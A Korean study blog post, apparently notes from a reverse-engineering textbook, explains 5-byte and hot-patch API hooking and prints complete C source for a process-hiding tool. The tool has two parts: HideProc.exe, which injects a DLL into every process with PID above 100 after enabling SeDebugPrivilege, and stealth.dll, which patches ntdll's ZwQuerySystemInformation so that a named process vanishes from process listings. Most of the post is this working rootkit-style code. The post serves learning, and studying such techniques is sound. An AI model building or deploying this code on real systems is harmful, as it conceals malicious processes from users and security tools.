API 코드 패치 방법
- API 코드 시작 5바이트 값을 JMP xxxxxxxx 명령어(후킹 함수로 점프)로 패치
- 후킹하려는 API 코드의 길이가 최소 5바이트보다 커야 한다
- 반복적인 unhook/hook으로 성능 저하
- 멀티스레드 환경에서 프로세스의 다른 thread에서 해당 API를 read하고 있을 때 코드 패치를 시도하면 Access Violation Error 발생할 수 있음 (스레드 간 충돌)
=> 핫 패치 방식 (7바이트 코드 패치)
- API 코드 바로 위에 5바이트의 'NOP' 명령어 존재하고 'MOV EDI, EDI' 명령어로 시작하는 API에 한해 가능
- API 코드 직전 5바이트를 FAR JMP 명령어로 변경(사용자 후킹 함수로 점프)
- API 시작 코드 2바이트를 SHORT JMP 명령어(EB F9, 7byte 전으로 jmp)로 변경(FAR JMP 명령어로 점프)
- unhook/hook 과정 생략 가능, [API시작+2] 주소를 통해 원본 API 호출 가능
HideProc.exe 코드 구현
// HideProc.exe
#include "stdio.h"
#include "tchar.h"
#include "windows.h"
#include "tlhelp32.h"
#define INJECTION_MODE 0
#define EJECTION_MODE 1
typedef void(*PFSETPROCNAME)(LPCTSTR);
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hProcess = NULL, hThread = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(wcslen(szDllPath)+1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if( !(hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) {
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me; // defined as MODULEENTRY32W
LPTHREAD_START_ROUTINE pThreadProc;
BOOL bFound=FALSE;
me.dwSize = sizeof(MODULEENTRY32);
if((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
return FALSE;
if(Module32First(hSnapshot, &me)) {
do {
if(!_tcsicmp(me.szExePath, szDllPath)) {
bFound = TRUE;
break;
}
} while(Module32Next(hSnapshot, &me));
}
if(!bFound) {
CloseHandle(hSnapshot);
return FALSE;
}
if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
_tprintf(L"OpenProcess(%d) failed!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) {
DWORD dwPID = 0;
HANDLE hSnapshot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe; // defined as PROCESSENTRY32W
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
if(Process32First(hSnapshot, &pe)) {
do {
dwPID = pe.th32ProcessID;
// PID<100인 시스템 프로세스에는 인젝션 하지 않는다
if(dwPID<100)
continue;
if(nMode == INJECTION_MODE)
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while(Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return TRUE;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) {
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if(!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if(bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
_tprintf(L"AdjuestTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if(GetLastError()==ERROR_NOT_ALL_ASSIGNED) {
_tprintf(L"The token does not have the specified privilege.\n");
return FALSE;
}
return TRUE;
}
int _tmain(int argc, TCHAR* argv[]) {
TCHAR szExePath[MAX_PATH] = {0,};
TCHAR* ptr;
LPCTSTR szDllPath;
HMODULE hMod;
PFSETPROCNAME SetProcName;
if(argc!=4) {
wprintf(L"USAGE : %s <-hide|-show> <process name> <dll path>\n", argv[0]);
return 1;
}
if(!SetPrivilege(SE_DEBUG_NAME, TRUE)) {
wprintf(L"Failed to set privilege\n");
return 1;
}
szDllPath = argv[3];
if(!wcsrchr(szDllPath, L'\\')) { // dll 이름뿐인 경우 full path로 만들어서
GetModuleFileName(NULL, szExePath, MAX_PATH);
ptr = wcsrchr(szExePath, L'\\');
wcscpy_s(ptr+1, wcslen(argv[3])+1, argv[3]);
szDllPath = szExePath;
}
hMod = LoadLibrary(szDllPath);
SetProcName = (PFSETPROCNAME)GetProcAddress(hMod, "SetProcName");
SetProcName(argv[2]);
if(!_wcsicmp(argv[1], L"-hide")) {
InjectAllProcess(INJECTION_MODE, szDllPath);
}
else if(!_wcsicmp(argv[1], L"-show")) {
InjectAllProcess(EJECTION_MODE, szDllPath);
}
else {
wprintf(L"Invalid option\n");
}
FreeLibrary(hMod);
return 0;
}
- 기존 InjectDll + EjectDll + SetPrivilege 함수에 InjectAllProcess() 함수만 추가됨
- 전체 프로세스에 대한 스냅샷을 찍은 뒤 PID>100인 프로세스에 전부 DLL Injection / Ejection 하는 함수임
- _tmain 에서 4번째 input으로 dll name 들어올 시 전체 경로로 변환해주는 루틴 추가함
stealth.dll 코드 구현
// stealth.dll
#include "windows.h"
#include "tchar.h"
#define DEF_NTDLL "ntdll.dll"
#define DEF_ZWQUERYSYSINFO "ZwQuerySystemInformation"
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS,PVOID,ULONG,PULONG);
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
// global variable
BYTE g_pOrgBytes[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, FARPROC pfnNew, PBYTE pOrgBytes) {
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddr;
BYTE pBuf[5] = {0xE9, 0, };
// 후킹 대상 API 주소 구하기
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// if already hooked - return false
if(*((BYTE*)pfnOrg) == 0xE9)
return FALSE;
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 기존 코드 백업
memcpy(pOrgBytes, pfnOrg, 5);
// 5바이트 패치 코드 만들기
dwAddr = (DWORD)pfnNew - ((DWORD)pfnOrg+5);
memcpy(&pBuf[1], &dwAddr, 4);
// hook by code patch
memcpy(pfnOrg, pBuf, 5);
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, NULL);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes) {
FARPROC pFunc;
DWORD dwOldProtect;
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// if already unhooked - return false
if(*((BYTE*)pFunc)!=0xE9)
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// unhook by code patch
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, NULL);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG lenSysInfo, PULONG retLen) {
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
// unhook
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, g_pOrgBytes);
// original API
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSINFO);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(sysInfoClass, sysInfo, lenSysInfo, retLen);
if(status != STATUS_SUCCESS)
goto __NTQUERYSYSTEMINFORMATION_END;
// 첫번째 인자가 SystemProcessInformation(5)인 경우만 작업함
if(sysInfoClass == SystemProcessInformation) {
// pCur: single linked SYSTEM_PROCESS_INFORMATION 구조체 리스트의 시작 주소
pCur = (PSYSTEM_PROCESS_INFORMATION)sysInfo;
while(TRUE) {
// 프로세스 이름 비교 (g_szProcName은 SetProcName()에서 세팅된 은폐할 프로세스 이름)
if(pCur->Reserved2[1]!=NULL) {
if(!_wcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) {
// 은폐할 프로세스의 노드 제거
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else {
pPrev = pCur;
}
}
if(pCur->NextEntryOffset == 0)
break;
// 연결 리스트의 다음 항목
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// hook again
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
char szCurProc[MAX_PATH] = {0,};
char* p = NULL;
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if(p!=NULL && !_stricmp(p+1, "HideProc.exe")) {
// Inject된 (현재) 프로세스가 HideProc.exe라면 후킹하지 않고 종료
return TRUE;
}
switch(fdwReason) {
case DLL_PROCESS_ATTACH:
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, (FARPROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
case DLL_PROCESS_DETACH:
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, g_pOrgBytes);
break;
}
return TRUE;
}
// export function
extern "C" __declspec(dllexport) void SetProcName(LPCTSTR szProcName) {
_tcscpy_s(g_szProcName, szProcName);
}
- 5바이트 코드 패치를 통해 ntdll!ZwQuerySystemInformation API를 후킹함
- 공유 메모리 섹션을 만들어 버퍼를 생성하고, export 함수를 통해 은폐 프로세스 이름을 저장한다는 특징
- 공유 메모리 섹션을 만들고 전역 변수(버퍼)를 선언하는 코드는 "코드 맨 처음"에 있어야 함. 일반 전역 변수처럼 사용 전에 선언되어 있어야 하기 때문.
새롭게 알게 된 점
1. #pragma 문법 정리
#pragma comment()
기본적인 pragma comment()의 형식은 다음과 같다.
#pragma comment( comment-type, ["comment string"] )
- comment type에는 compiler, exestr, lib, linker, user 등이 올 수 있다.
- [] 안의 구문은 comment-type에 따라 필요할 경우 사용하는 것이다.
1. 가장 대표적인 사용법은 명시적인 라이브러리의 링크이다.
#pragma comment(lib, "xxxx.lib")
2. 또한 섹션의 설정도 할 수 있다.
#pragme comment( linker, "SECTION:.SHAREDATA,RWS" )
#pragma data_seg("SHAREDATA") 와 함께 사용하여 공유 메모리를 생성한다.
#pragma data_seg()
pragma data_seg()의 형식은 다음과 같다.
#pragma data_seg( ["section-name"[, "section-class"] ] )
- DLL을 Application(EXE)이나 다른 DLL과 연동하여 사용할때 쓴다.
- 후킹목적의 DLL이 타겟 프로세스에 injected되어 있다면 '공유섹션'을 이용하여 데이터를 전달할 수 있다
- DLL 내부에서 생성한 데이터(메모리)를 외부 프로세스에서 공유할 때 사용할 수 있다
=> stealth.dll에선 외부 프로세스에서 g_szProcName을 세팅할 수 있게 하기 위해!!
#pragma data_seg( "SHAREDATA" )
int g_nCnt = 0;
char g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
- #pragma data_seg("SHAREDATA) 를 통해 SHAREDATA 세그먼트의 시작을 선언한다 (세그먼트 이름은 자유롭게~)
- 공유섹션에 저장할 변수를 선언한다. 여러 개 선언 가능하다
- #pragma data_seg() 를 통해 SHAREDATA 세그먼트의 종료를 선언한다.
- 종료 선언 후 선언되는 것은 공유 메모리 섹션에 저장되지 않는다!
- 이 명령어는 필수적으로 #pragment comment( linker, "SECTION:.SHAREDATA,RWS") 와 함께 사용되어야 한다
- SHAREDATA라는 이름의 공유 메모리 섹션을 Read,Write,Shared로 만든다는 뜻
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
[Line 1]
링커에게 지정된 섹션 이름(".SHARE")으로 새로운 섹션을 생성하고, 이를 읽기/쓰기/공유(RWS) 모드로 설정
[Line 2]
이후의 전역 변수들이 ".SHARE"라는 이름의 섹션(공유 메모리 영역)에 위치하도록 지시
[Line 3]
전역 변수 g_szProcName을 선언하고 초기화. 이 변수는 ".SHARE" 섹션에 위치
[Line 4]
데이터 세그먼트 지시자를 기본 값으로 복원. 이 지시자 이후에 선언되는 전역 변수들은 공유 메모리 영역이 아닌 일반적인 데이터 섹션에 위치하게 됨
2. 5바이트 코드 패치 구현 흐름: hook_by_code & unhook_by_code
- hook_by_code 흐름
// 후킹 대상 API 주소 구함
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// 메모리 보호 변경
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 기존 코드 백업
memcpy(pOrgBytes, pfnOrg, 5);
// 패치 코드 생성 (JMP Offset 계산)
dwAddr = (DWORD)pfnNew - ((DWORD)pfnOrg+5);
memcpy(&pBuf[1], &dwAddr, 4);
// 코드 패치 진행
memcpy(pfnOrg, pBuf, 5);
// 메모리 보호 복원
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, NULL);
- unhook_by_code 흐름
// API 주소 구함
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// 메모리 보호 변경
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 첫 5바이트 복원
memcpy(pFunc, pOrgBytes, 5);
// 메모리 보호 복원
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, NULL);
'security > 리버싱핵심원리' 카테고리의 다른 글
ASLR 제거 (0) | 2023.04.04 |
---|---|
API 코드 패치를 이용한 API hooking - notepad.exe 프로세스 은폐하기 (2) (0) | 2023.04.03 |
[API 후킹] IAT 조작을 이용한 메모장 암호화/복호화 (완) (0) | 2023.04.01 |
IAT 조작하여 API 후킹 - 한글이 출력되는 계산기 (0) | 2023.03.30 |
[미완][API 후킹] 디버그(Debug) 기법을 이용한 후킹 - 메모장 암호화/복호화 (0) | 2023.03.25 |